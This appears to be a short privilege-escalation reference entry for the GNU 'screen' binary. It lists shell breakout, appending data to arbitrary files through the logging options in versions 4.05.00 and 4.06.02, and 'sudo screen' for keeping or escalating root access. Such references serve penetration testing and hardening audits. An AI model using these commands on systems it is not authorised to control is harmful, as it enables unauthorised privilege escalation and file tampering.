Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

screen

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system. 1 This works on screen version 4.06.02. Data is appended to the file and \n is converted to \r\n.

LFILE=file_to_write
screen -L -Logfile $LFILE echo DATA

2 This works on screen version 4.05.00. Data is appended to the file and \n is converted to \r\n.

LFILE=file_to_write
screen -L $LFILE echo DATA

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo screen